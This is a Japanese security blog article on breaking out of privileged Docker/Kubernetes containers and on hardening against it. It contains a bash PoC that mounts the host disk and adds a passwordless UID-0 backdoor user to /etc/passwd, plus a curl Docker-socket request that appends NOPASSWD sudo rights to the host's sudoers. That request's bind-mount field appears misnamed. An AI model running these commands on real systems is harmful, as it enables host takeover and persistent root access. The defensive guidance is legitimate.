【テクニカル・上級編】 コンテナ環境(Docker/Kubernetes)の脱獄とホストOSへの侵入 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

コンテナの壁はなぜ破られるのか:Docker/K8s環境におけるホストOS侵入のメカニズムとアーキテクチャ防衛

ペネトレーションテストやレッドチームの現場において、コンテナ環境の監査ほど「設定の妙」と「油断」が露呈する場所はない。開発者やインフラエンジニアは、しばしば「コンテナは仮想マシン(VM)と同様の強力な境界を持っている」という神話を信じ込んでいる。

しかし、カーネル空間をホストOSと共有するコンテナの本質を理解していれば、それが幻想にすぎないことは自明だ。DockerやKubernetes(K8s)における「脱獄(コンテナブレイクアウト)」とは、単なるバグの悪用ではなく、多くの場合、利便性のために意図的あるいは無知によって緩められたセキュリティ境界の隙間を縫う作業に他ならない。

今回は、特権コンテナや脆弱なマウント構成を悪用してホストOSのルート権限を掌握する攻撃シーケンスの低レイヤメカニズムを紐解き、テックリードやセキュリティアーキテクトが取るべき抜本的な防衛策を解説する。

—

1. 攻撃者が狙う盲点:コンテナ隔離技術のプリミティブ

コンテナは、Linuxカーネルの機能である cgroups(リソース制限)、namespaces(プロセス、ネットワーク、マウント等の分離)、そして capabilities(特権の細分化)と seccomp(システムコールフィルタリング)の組み合わせによって成り立っている。

つまり、コンテナの「脱獄」とは、これらの境界のいずれかに亀裂を入れるか、あるいはカーネルの共有という大前提を利用してホスト側のリソースへアクセスする行為にほかならない。

特権コンテナ(--privileged)という名のバックドア

最もプリミティブかつ致命的な設定ミスは、--privileged フラグ付きでのコンテナ起動、あるいはK8sにおける securityContext.privileged: true の許可だ。

この設定が有効化された瞬間、コンテナ内のプロセスに対する capabilities の制限はほぼ無効化され、ホストのデバイスへのアクセス権が丸裸になる。さらに、AppArmorやSELinuxのプロファイルも無効化、あるいは実質的に無力化される。

攻撃者は、特権コンテナの内部から以下のような手順でホストのルートファイルシステムへアクセスし、永続化を確立する。

1. デバイスの列挙: /dev 配下を確認し、ホストのストレージデバイス(例: /dev/sda1 等)が直接見えていることを確認する。
2. マウントの実行: 任意のディレクトリを作成し、そこにホストのデバイスをマウントする。
3. chrootによるピボット: マウントしたディレクトリへ chroot し、ホストの根幹を掌握する。

—

2. 攻撃シミュレーション:特権コンテナからのホスト侵入

ここでは、ラボ環境において特権コンテナのミスコンフィグレーションが悪用され、ホストOSへの侵入が完了するまでの実用的な手順を再現する。

ステップ 1: コンテナ内からのホストストレージの特定とマウント

特権コンテナのシェルに侵入した攻撃者は、まずブロックデバイスの確認を行う。以下のシェルスクリプトは、コンテナ内からホストのディスクを特定し、強制的にマウントしてホストの cron や ssh 設定を書き換えるための PoC(概念実証)の断片である。

#!/bin/bash
# 【攻撃シミュレーション用スクリプト】
# 特権コンテナ内からホストのファイルシステムへアクセスし、バックドアを設置する

echo "[*] コンテナ内の権限とデバイスを確認中..."
id
ls -la /dev/sd* /dev/vd* 2>/dev/null || echo "標準的なブロックデバイスが見つかりません"

# マウント用のディレクトリを作成
TARGET_DIR="/mnt/host_root"
mkdir -p ${TARGET_DIR}

# ホストのルートパーティション(例として /dev/sda1 を想定)をマウント
# ※実際の環境では lsblk や fdisk -l で適切なデバイスを特定する
echo "[*] ホストのストレージをマウントします..."
mount /dev/sda1 ${TARGET_DIR}

if [ $? -eq 0 ]; then
    echo "[+] マウント成功: ホストのルートファイルシステムへアクセス可能になりました"
    
    # ホスト側の /etc/passwd にバックドアユーザーを追加する(UID 0)
    echo "[*] ホストの /etc/passwd を改ざんし、特権ユーザーを追加します..."
    echo "backdoor_root::0:0:root:/root:/bin/bash" >> ${TARGET_DIR}/etc/passwd
    
    echo "[+] 侵入と永続化の完了。ホストへの影響が確立されました。"
else
    echo "[-] マウントに失敗しました。特権設定やデバイスパスを確認してください。"
fi

このコードが示す通り、特権コンテナの内部は、ホストから見れば「鍵の掛かっていない別室」にすぎない。

—

3. その他の侵入ベクトル:Dockerソケットの露出

特権コンテナ以外にも、非常に頻繁に見られる致命的なミスが、Dockerデーモンのソケット(/var/run/docker.sock)のコンテナ内へのマウントだ。

CI/CDパイプラインの構築(いわゆる Docker-in-Docker の代替として)において、利便性を優先するあまりこのソケットをコンテナ内にバインドマウントしてしまうケースが後を絶たない。

Dockerソケット経由のホスト乗っ取り

/var/run/docker.sock は、Dockerデーモンと通信するためのUNIXドメインソケットである。コンテナ内からこのソケットにアクセスできるということは、そのコンテナからホスト上のDockerデーモンを完全にコントロールできることを意味する。

攻撃者はコンテナ内から以下のようなリクエストをDocker APIに投げ込む。

# コンテナ内からホスト側のDocker APIを叩き、ホストのルートをマウントした新規コンテナを起動する
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image": "alpine:latest", "Cmd": ["/bin/sh", "-c", "echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /host/etc/sudoers"], "Bases": ["/:/host"]}' \
  http://localhost/containers/create

このように、APIを悪用して「ホストの / を /host としてマウントし、任意のコマンドを実行するコンテナ」をその場でスピンアップさせれば、一瞬でホストのセキュリティモデルは崩壊する。

—

4. アーキテクチャ防衛:ゼロ・トラストに基づくコンテナ硬化

このような脱獄手法を防ぐためには、従来の「境界防御」の概念を捨て、多層防御(Defense in Depth)と最小権限の原則(PoLP)を徹底したインフラストラクチャ・アーキテクチャを構築しなければならない。

テックリードおよびセキュリティアーキテクトが実装すべき具体的な対策を以下にまとめる。

1. 特権コンテナの完全排除とポリシーの強制

Kubernetes環境においては、PodSecurityStandards(または OPA Gatekeeper / Kyverno などのポリシーエンジン)を導入し、privileged: true や hostNetwork: true, hostPID: true を含むポッドのデプロイを組織レベルでブロックする。

以下は、Kyvernoを用いて特権コンテナの作成を拒否するポリシーの定義例である。

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-privileged-containers
spec:
  validationFailureAction: Enforce # 違反した場合はデプロイを即座に拒否
  rules:
    - name: validate-privileged
      match:
        any:
          - resources:
              kinds:
                - Pod
      validate:
        message: "セキュリティポリシー違反: 特権コンテナ(privileged: true)の実行は禁止されています。"
        pattern:
          spec:
            containers:
              - =(securityContext):
                  =(privileged): "false"

2. Dockerソケットの保護と非権限化(Rootless Docker)

本番環境のDockerデーモンは、可能な限り Rootlessモード で稼働させるべきである。Rootlessモードでは、Dockerデーモン自体が非特権ユーザー(UID != 0)の権限で動作するため、万が一コンテナからソケットが露出したとしても、ホストの真のルート権限に直結するリスクを劇的に軽減できる。

また、CI/CD環境等でどうしてもソケット共有が必要な場合は、マウントを避け、限定的な権限を持つリモートAPI(TLSクライアント認証付き)や、安全なビルドツール(例: Kaniko など、デーモンレスでコンテナイメージをビルドするツール)への移行を強く推奨する。

3. セキュリティプロファイル(AppArmor / SELinux / Seccomp)の適用

デフォルトのカーネル機能頼みではなく、システムコールを厳しく制限するプロファイルを強制する。例えば、不要なシステムコール(ptrace, mount, kexec_load など)を seccomp フィルタによってコンテナ内から完全にブラックリスト化することで、仮にコンテナが侵害された場合でも、脱獄のためのプリミティブを奪うことが可能になる。

—

5. まとめ

コンテナ環境のセキュリティは、「動いているから良し」とするものではない。脆弱性スキャナーが検知するのはソフトウェアの既知のバグ(CVE)だけであり、今回解説したような「設定ミス」や「過剰な権限付与」は、静的な脆弱性スキャンをやすやすとすり抜ける。

攻撃者は常に「最も抵抗の少ない経路」を探している。アーキテクトやエンジニアは、コードの安全性だけでなく、インフラストラクチャのライフサイクル全体を通じて「境界が破られた前提(Assume Breach)」での設計を貫く必要がある。セキュリティとは、強固な壁を築くことではなく、破られた後に被害を最小限に食い止める深い溝(レイヤー)を掘り続ける作業なのだ。

コメント

タイトルとURLをコピーしました